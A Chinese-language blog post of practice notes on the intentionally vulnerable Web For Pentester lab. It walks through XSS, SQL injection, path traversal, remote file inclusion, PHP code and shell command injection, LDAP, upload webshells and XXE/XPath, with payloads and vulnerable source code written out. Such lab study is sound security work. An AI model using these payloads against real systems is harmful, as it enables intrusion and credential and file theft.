[NOTE] Web For Pentester靶场练习笔记
文章目录
- [NOTE] Web For Pentester靶场练习笔记
前言
搞完XVWA之后
环境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)
想着搞完这个Web靶场就暂时歇一歇
不搞这种专门的列一大堆的Web漏洞的靶场了
后面搞CMS,以及一些sqli和upload的专项训练,还有练练渗透
所以这个靶场更多地面向源码一些
先黑盒,做不做得出最后都看看代码分析一下
也会看看官方给的教程文档,看看有没有别的什么值得学习的地方
此外也借鉴整理了国光大神的博客
Web基础
就是对官方教程前面的部分进行简单看看,记些不太熟或不懂的
Web安全的根基:don’t trust the client
Web服务端可以进一步划分不同的层次,并面临不同的安全问题:
- Web服务器,如Apache、lighttpd、Nginx、IIS等
- 应用服务器,如Tomcat、Jboss、Oracle Application server等
- 编程语言,如PHP、Java、Ruby、Python、ASP、C#等
这些编程语言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等
同一个Web应用可能会同时使用多个或多种后端存储
例如使用==LDAP==存储用户及其凭证,而使用Oracle存储信息
GET
和HEAD
的区别仅体现在服务器的响应上:
GET
的返回可以包含返回体
HEAD
的返回体仅有headers
,而没有body
还有别的方法如PUT
、DELETE
、OPTION
等
以前倒是了解过RESTful架构,简单写了下笔记
有些请求参数看起来像是这样:
/index.PHP?user[name]=louis&user[group]=1
一些框架会把它映射到user
对象中,用来查找指定属性符合的对象
有时候这种使用方法若防御不当,则会导致名为“mass-assignment”的风险
(简单了解下,这个好像是涉及到Ruby-on-Rails框架,后面有机会再了解下)
418
响应码:I’m a teapot
double encoding:双重编码有时可能有点用,URL啥的
关于返回包里的Set-Cookie
字段,包含了一些信息:
- 有效期:告诉浏览器什么时候删除这个cookie
- Domain:告诉浏览器把这个cookie发往哪一个子域名或主机名
- Path:告知浏览器把这个cookie发往哪一个路径
- 安全标志:如
httpOnly
、secure
等
cookie与session:一个存储在客户端,一个存储在服务端
PHP的session管理
PHP在Debian里面是无加密存储sessionid的,如/var/lib/PHP5
假如一个sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么对应的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93
,里面有关于这个session的完整信息
HTTP认证
-
Basic:通过
Authorization
头指定,用户名和密码经BASE64编码后发送给服务器 -
Digest:服务端发送挑战,客户端将挑战连同密码作哈希后发往服务器
-
NTLM:多在Microsoft里面使用,和Digest差不多
Web应用指纹识别
有时候以.jsp
和.do
为后缀的页面文件很可能是Java语言写的
(虽然也有可能是混淆)
有时候页面旁边的小图标也能暴露服务器banner信息
只要网站管理员没改的话
robots.txt文件有时候可以暴露框架和应用
XSS
关于XSS漏洞具体的利用场景,可以看看我之前在Pikachu靶场的练习笔记
下面的练习,就简单弹个窗什么的…
Example 1
最最最最最最最最最最基本的XSS,乱X
源码就是直接echo参数
Example 2
过滤了<script>
,大小写混拼可绕过
源码:preg_replace
正则匹配替换<script>
和</script>
双拼、大小写绕过都可以
Example 3
img
标签可绕过:
?name=<img src="e" one rror=alert("XSS") />
源码:preg_replace
正则匹配<script>
和</script>
,不区分大小写
双拼可绕过
Example 4
img
标签可绕过
源码:preg_match('/script/i', $_GET["name"])
正则匹配“script”,不区分大小写,匹配到就报“error”
Example 5
很奇怪,过滤alert
?
写cookie在页面上的payload:
<script>document.write(document.cookie)</script>
源码还真是正则匹配不区分大小写的alert
,匹配到就报错
why?
行吧,原来题目要求我们就要弹窗
那就结合eval
函数和String.fromCharCode
函数
后者将alert("XSS")
的ascii码转成字符,再拼接成字符串
前者将字符串当作代码执行
payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>
payload2:
<img src="e" one rror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />
另外两个弹窗函数,都可以回显cookie:
- confirm:弹出确认框
- prompt:弹出输入框
Example 6
这次输什么都不会回显了
源码:
Hello
<script>
var $a= "<?PHP echo $_GET["name"]; ?>";
</script>
也就是说,输入被拼接到了字符串中,被当作变量保存
然后没有任何回显
这种是属于盲注的情况?
输入的参数要主动闭合上双引号,然后形成完整的JS语句
payload:";alert("XSS")//
变成:var $a= "<?PHP echo "; alert("XSS")//; ?>"
这个比较难想到?
思路是,不管什么东西,都试试单/双引号主动闭合看看
Example 7
源码:
Hello
<script>
var $a= '<?PHP echo htmlentities($_GET["name"]); ?>';
</script>
使用htmlentities
函数将HTML特殊字符转义成HTML实体
但是这个函数默认不转义'
,除非加上ENT_QUOTES
参数
所以主动闭合,payload:';alert('XSS');//
Example 8
换成了一个输入框,POST提交参数,然后回显
但是这次好像怎么注都不太行
源码:
echo "HELLO ".htmlentities($_POST["name"]);
这次的输入框不存在XSS问题了,因为输入都得到了正确的转义
但是问题出在form
表单的构造:
<form action="<?PHP echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
上面使用了$_SERVER['PHP_SELF']
这个变量,指代的是当前执行脚本的文件名
不当使用该变量也可能导致XSS问题
在这一题中,根据URL该值应该是/xss/example8.PHP
但是攻击者可以通过修改URL从而达到XSS的目的
根据上述,可以给出以下payload:
http://192.168.10.136/xss/example8.PHP/"></from><script>alert(document.cookie)</script>
这样一来表单就会变成:
<form action=""></from><script>alert(document.cookie)</script>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
但是从页面元素来看,表单结构显示的是<form action="/xss/example8.PHP" method="POST">
这我怎么知道这里是写死的还是代码生成的呢?只能白盒?
总之,学习到$_SERVER['PHP_SELF']
这个变量是指示当前执行脚本的文件名
一定程度上反映自URL,而URL是用户可控的
Example 9
这次是基于DOM型的XSS,源码:
<script>
document.write(location.hash.substring(1));
</script>
意思是将URL锚点#
后面的字符串写在页面上
理论上这里写XSS的payload就好
但是有一个问题,目前我的浏览器会自动URL编码
所以最后写在页面上的是编码后的payload:
形成不了弹窗的效果
bp、curl这俩工具捕获不到后面动态生成页面的过程
那咋办
换成HTML编码那就更不行了
sql injections
Example 1
传入不存在的用户名也会显示属性栏
但是传入'
则会什么都没有,类似于页面出现错误
说明可能是单引号字符型注入
验证注入的payload:?name=' or 1=1 %23
判断回显字段为5:?name=root' order by 5%23
观察回显位置:' union select 1,2,3,4,5 %23
爆库:?name=' union select database(),2,3,4,5 %23
爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23
爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23
爆数据:?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23
源码:
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
最简单的sqli
Example 2
情景和上题一样
测试全注:' or 1=1 %23
但是回显“ERROR NO SPACE”
说明检测到了空格,从而报错
那就换成注释符/**/
作为分隔符
判断回显字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23
中间过程省略,最后爆数据:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23
源码:
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
正则匹配到有空格就报错,换成注释符/**/
可绕过
Example 3
和上题没什么区别?也是过滤空格?
最后爆数据的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23
源码:
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
原来是过滤掉所有空白字符,但是没有考虑注释符
所以上一题的绕过方法还能用
Example 4
参数从name
变成了id
,说明可能是数字型注入
一试,果然:?id=999 or 1=1 %23
剩下的就是最简单的数字型注入,主要是?id=999 union select ...
源码:
$sql="SELECT * FROM users where id=";
$sql.=MysqL_real_escape_string($_GET["id"])." ";
乱注
Example 5
和上题没什么区别?
源码:
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER required");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
好像是匹配不到整数就报错,但是为什么这个payload能够通过?
?id=999 union select 1,2,3,4,5 %23
测了下,好像这个函数preg_match
捕获到第一个符合条件的就返回,就不管后面的内容了,所以上面匹配到999
之后,就通过检查了,但是会把所有payload都传递给$id
官方文档也是这样说的:
**preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。
Example 6
这次输入?id=999 union select 1,2,3,4,5 %23
也会报“ERROR INTEGER required”
源码:
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER required");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
原来是要参数id
最后匹配数字,前面不管
那么后面的注释符#
都不同了哈哈
全注的payload:?id=55 or 1=1 or 99
判断回显字段数:?id=1 order by 5
判断回显字段:?id=999 union select 1,2,3,4,5
爆库:?id=999 union select database(),2,3,4,5
爆表和爆列最后面的where
语句判断,需要最后面加个 and 1
来绕过检查
爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1
爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1
爆数据最后面加个where 1
就行
爆数据:?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1
Example 7
这次看起来限制的比较死,哪里有非数字字符好像都不行
源码:
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER required");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
将id
参数从头匹配到尾~~(还是全行匹配)~~,若不是整数,则报错
那咋办,查攻略
正则匹配的修饰符/m
,意思是多行模式
即会逐行匹配,而不是匹配整个字符串的开头和结尾
加上preg_match
只匹配一次的特性
就可以这样构造payload:123\nPAYLOAD
但是不管我怎样搞,都会显示“ERROR INTEGER required”
URL编码后也不行
则么会是?
Example 8
这一次比较奇怪,参数变成了order
一开始是?order=name
,怀疑是将查询结果按“name”属性排列
改成“id”或“age”,也按对应属性顺序排列了
猜测后端代码如:select * from table order by '$_GET['name']'
然后就不会了
源码:
$sql = "SELECT * FROM users ORDER BY `";
$sql .= MysqL_real_escape_string($_GET["order"])."`";
需要说明一点的是
MysqL里面的order by
后面跟的排列字段只有以下两种形式:
- 直接跟列名:order by name
- 跟反点之间的列名:order by `name`
所以之前猜测的使用单引号是不对的
此外源码里面还使用了MysqL_real_escape_string
函数,单双引号、回车制表、反斜杠以及\x00
等都会被转义
就是没有转义“`”
这里还要结合一下order by
可以多字段排列的特点
以及使用case-when-then-else-end
句式
示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主动闭合,先将查询结果按id
字段排列
后面的句式是关键,when
里面添加判断语句
为真则进一步按name
字段排列,否则按age
字段排列
when
里面可以替换成别的判断
返回结果会根据真假是否成立从而形成不同的显示结果
从而形成盲注的效果
遗憾的是,这里的数据库每个字段都是不一样的
所以找不出不同判断结果会有的不一样的地方
Example 9
源码:
$sql = "SELECT * FROM users ORDER BY ";
$sql .= MysqL_real_escape_string($_GET["order"]);
和上题类似,只不过是使用了order by
的另一种字段使用方法:直接拼接
由于不用使用“`”去主动闭合,可以做到只用一个字段排列
返回结果能够根据when
的判断结果而不一样了
真正做到了盲注
下面的盲注过程只是简单写写,不写完整过程(手工盲注也太累了吧)
判断出数据库名长度为9:
?order=(case when (length(database())=9) then `id` else `age` end)
判断出第一个表名长度为5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)
判断出第一个表名的第一个字符的ascii码为117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判断,因为使用了MysqL_real_escape_string
函数)
后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是时间盲注,效率有点慢
加上我的靶场环境配置,攻击者和靶机之间的通信有时会卡住,就很慢
不过sqlmap的容错做的是真的不错,会自动根据实际情况调整时延上限
牛逼牛逼
是不是要把靶机的处理器和内存都配置得大一点?
Directory traversal
直接抄家,翻源码找到对应练习页面:
http://192.168.10.XXX/dirtrav/exampleX.PHP
images/./photo.jpg
:能看到同一文件images/../photo.jpg
:报错images/../images/photo.jpg
:能看到同一文件images/../IMAGES/photo.jpg
:报错(却决于目标系统是否对路径大小写敏感)
此外../
的数量过多的话一般来说也是没有问题的
Example 1
有一个GET参数file
承接一个文件名
然后就可以../../../../../../../etc/passwd
了
此外官网指引提到
要是包含一个返回头Content-disposition: attachment
浏览器是不会直接显示文件的
而可以通过打开文件来查看内容
例如可以使用wget
命令来路径穿越下载文件:
wget -O - 'http://vulnerable/dirtrav/example1.PHP?file=../../../../../../../etc/passwd'
Example 2
上一个练习的payload不能用了
相关源码:
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
die();
strstr
函数:strstr(string $haystack, mixed $needle)
返回haystack字符串从needle第一次出现的位置开始到haystack结尾的字符串
例如strstr('name@xxx.com', '@')
返回@xxx.com
so the payload:?file=/var/www/files/../../../../../../etc/passwd
大概有点像判断参数里一定要包含合法值的意思
Example 3
上面的两个payload都不好使
相关源码:
$path = $UploadDir . $file.".png";
$path = preg_replace('/\x00.*/',"",$path);
原来是给传入参数添加上了后缀
然而这种防范很容易绕过——利用00截断
一般在Perl和老版本的PHP语言中很管用
(PHP 5.3.4及以上版本修复此问题)
所以payload:?file=../../../../../../etc/passwd%00
关于00截断:具体是指老版本PHP等语言,在读取文件名是,如遇0x00
,则会认为读取已结束
具体是null
字符,在URL编码中为%00
File Include
- require
- require_once
- include
- include_once
一般结合文件上传漏洞打组合拳,官方给了一个用于远程包含的PHP文件:
https://assets.pentesterlab.com/test_include.txt
就是简单的PHP探针
Example 1
page
参数接一个PHP文件,那试试直接上上面的payload
然就发现寄了,因为靶机是内网环境,整不了外网脚本
那就在攻击机里整探针试试:http://192.168.10.1/hack.PHP
但是信息是攻击机的
另外如果构造错误输入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.PHP'): Failed to open stream: HTTP request Failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.PHP on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.PHP'' for inclusion (include_path='.:/usr/share/PHP:/usr/share/pear') in /var/www/fileincl/example1.PHP on line 7
Example 2
Code injection
谈到PHP里有个系统代码执行函数system
然后PHP的行注释符是//
Example 1
name
参数,输入"
得报错信息:
Parse error: Syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.PHP(6) : eval()'d code on line 1
得知使用的是eval
函数
看眼源码:
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
如果输入try"."
,那么$str
就会变成这样:
$str="echo \"Hello try" . "!!!\";";
抽出字符串本身来看,就是这个样子:
echo "Hello {我们注入的代码} !!!";
所以一个探针peyload就是:?name=";PHPinfo();$a="
命令变成:echo "Hello ";PHPinfo();$a=" !!!";
也可以放到PHP代码层进行绕过:
?name=".PHPinfo();//
拼接变成:$str="echo \"Hello ".PHPinfo();//!!!\";";
(这里不是很懂拼接的双引号问题)
或者使用${${code}}
嗯插代码:
?name=${${PHPinfo()}}
如果想执行系统命令而不是PHP函数,则使用system
函数:
?name=".system('uname -a'); $dummy="
变成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的双引号问题)
感觉还是得学习一波PHP语言
Example 2
变成了一个表格,order
参数传入排序的列名
单引号所引发的报错:
Parse error: Syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.PHP(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.PHP on line 22
不知道是啥代码捏
开发者使用排序时可能会使用以下方法:
usort
函数经常使用create_function
函数去动态生成排序函数
本题的关键代码:
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
usort(array, myfunction)
:
使用用户自定义的比较函数对数组中的元素进行排序
array
:要排序的数组
myfunction
:用于比较函数的字符串
create_function(string $args, string $code)
:
创建匿名函数
args
:lambda函数的变量部分
code
:lambda函数的实现
例如create_function('$fname','echo $fname."welcome"')
等价于:
function fT($fname) {
echo $fname."welcome";
}
不能说是等价,实际上就是按这个模式进行创建的
所以注入时需要考虑主动闭合花括号,使用}
所以看回代码:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
关键就是参数order
,看看怎么主动闭合形成代码注入
一步步试:
?order=id;}//
?order=id);}//
?order=id));}//
上面只有中间那个不会报语法错误(error),只是警告(warning)
所以只需在}
后面跟上我们要注入的代码即可
所以当注入这个:id);}PHPinfo();//
就会变成:
create_function('$a, $b', 'return strcmp($a->id);}PHPinfo();//,$b->id);}PHPinfo();//')
即
function fT($a, $b) {return strcmp($a->id);}PHPinfo();//,$b->id);}PHPinfo();//;}
usort
函数使用上面的匿名函数字符串,所以最后会执行一遍PHPinfo
有点难,得学PHP
Example 3
一大堆参数WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后页面只是回显个“Hello hacker”
源码:
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
大概是把base
里面正则匹配的pattern
替换成new
的意思
说到preg_replace
函数,有一个很危险的选项PCRE_REPLACE_EVAL
(/e
)
会导致preg_replace
函数会把替换后的新字符串当作PHP代码去执行
PCRE_REPLACE_EVAL
has been deprecated as of PHP 5.5.0
后面用preg_replace_callback
代替
所以只需要在传入的模式中加上/e
模式
就可以把替换后的结果当作PHP代码执行
所以payload:?new=PHPinfo()&pattern=/lamer/e&base=Hello lamer
Example 4
又变回来了,name
参数,回显到页面上
引号引起的报错:Parse error: Syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.PHP(4) : assert code on line 1 Catchable Fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.PHP on line 4
估计和assert
函数有关
源码:
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
trim
:移除字符串两边的空白字符或预定义字符
assert
:PHP5可以执行代码
所以主要就是构造闭合,执行想要的代码
和Example 1差不多
有三种闭合方式:
注释掉后面的引号:?name='.PHPinfo();//
也闭合后面引号:'.PHPinfo().'
直接${${code}}
插入代码:'.${${PHPinfo()}}.'
Commands injection
上面是代码注入,这里是命令注入,有点区别
此外Linux里面有个机制,就是反引号里面的字符串会被当成命令先执行
例如“echo `whoami`”会输出当前用户名
Example 1
ip
参数后面跟个IP地址,然后给出ping的结果
好像很明显?直接分号接命令就ok:?ip=127.0.0.1;whoami
源码:
system("ping -c 2 ".$_GET['ip']);
Example 2
?ip=127.0.0.1;whoami
直接报“Invalid IP address”
源码:
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
正则匹配限定参数必须有ip地址形式的字符串
但是是多行模式匹配,加上preg_match
函数只会匹配一次的特点
所以可以使用换行符(URL编码)来分隔正常的输入和恶意命令:
?ip=127.0.0.1%0Awhoami
Example 3
发现输入?ip=127.0.0.1;whoami
会跳转回ping 127.0.0.1的页面
抓包一看发现只是重定向而已,原来的包还是会返回恶意代码执行的结果
LDAP attacks
LDAP(Lightweight Directory Access Protocol),轻量目录访问协议
可以把他和数据库类比,LDAP是一个为查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix系统中的文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
所以 LDAP天生是用来查询的。
Example 1
用于认证的两个参数username
和password
一开始有初值:?username=hacker&password=hacker
但是回显“NOT AUTHENTICATED”
但是把所有参数都删除,就会显示“AUTHENTICATED”,认证成功了
一些LDAP服务器允许NULL绑定:如果NULL值被传输,则LDAP服务器会尝试绑定连接,而PHP代码会认为这种认证是合法的
源码:
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
if (isset($_GET["username"])) {
$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
}
$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
echo "AUTHENTICATED";
}
else {
echo "NOT AUTHENTICATED";
}
}
抽出漏洞原因,估计是下面这个:
$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
echo "AUTHENTICATED";
}
由于ldap_bind
继续尝试绑定连接,所以$lb
不为NULL,所以通过下方认证判定
这是一种编码失误,其他认证过程也要注意类似的问题
Example 2
默认参数:?name=hacker&password=hacker
回显“AUTHENTICATED as hacker”
删除所有参数,回显:
Notice: Undefined index: password in /var/www/ldap/example2.PHP on line 9 Notice: Undefined index: name in /var/www/ldap/example2.PHP on line 10 UNAUTHENTICATED
主要还是要理解一些LDAP语法,以及运用到了PHP的00截断
达到了类似sqli万能密码的效果
File Upload
Example 1
好像是直接传的意思
准备一句话,蚁剑连
源码:
<?PHP
if(isset($_FILES['image'])) {
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
} else {
echo 'Upload Failed';
}
}
?>
<form method="POST" action="example1.PHP" enctype="multipart/form-data">
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form>
没有任何防护措施
Example 2
试了试00截断,发现不太行
源码:
$file = basename($_FILES['image']['name']);
if (preg_match('/\.PHP$/',$file)) {
DIE("NO PHP");
}
可能是因为是后端PHP进行后缀检查而不是前端,所以00截断在检查之前就已经生效,所以检测的文件名确实是以.PHP
结尾的,所以通不过检查
大小写混拼后缀.PHP
可绕过
另外蚁剑那里有个连接类型为“PHP4”也可以考虑一下
- 使用
.PHP3
、.PHP4
或者是.PHP5
后缀,一些服务器说不定还支持 - 在
.PHP
后面使用一个Apache识别不了的后缀(例如.fuckyou
),Apache识别不了可能会尝试识别下一个后缀(但问题是蚁剑也识别不了啊,可能和使用的工具有关)
XML attacks
Example 1
原始参数:?xml=<test>hacker</test>
盲猜是XXE
试试payload:?xml=<!DOCTYPE any[<!ENTITY js SYstem "file:///etc/passwd">]><test>&js;</test>
结果回显:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.PHP on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.PHP on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.PHP on line 4 ”
哦哦,原来是GET传递参数,所以要URL编码(涉及到了&
等字符)
编码一下就好
源码:
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
涉及到一个simplexml_load_string
函数可以看看
Example 2
参数变成了?name=hacker
可能是XPath注入
果然是
先复习一下XPath的知识
输入"
,没有报错,没有回显,可能是单引号闭合变量
前后主动闭合,看看能不能爆出所有值:?name=']|//*|ss['
回显:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”
虽然是所有都爆出来了,但是没有分隔符,啥是啥也不知道
也可以00截断,?name=' or 1=1]%00
,也是永真条件
但是只能查询当前层次的所有节点
另外了解到另外一种全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*
用于选择当前节点的所有父节点
child::node()
用于选择所有子节点
源查询代码:$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
剩下倒是可以盲注,但是有时候也可以直接猜
因为全注的字段有些看起来像是密码
所以可以试试猜原XML里有password节点,并把他们注出来:?name=']|//password%00
回显:“pentesterlabs3cr3tP4ssw0rd”
类似的还有user、name等常见字段也可以试试
虽然都没有分隔
简单盲注:
判断第一个节点的名字的第一个字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1
判断第一个节点名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1
下略BLABLABLA
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。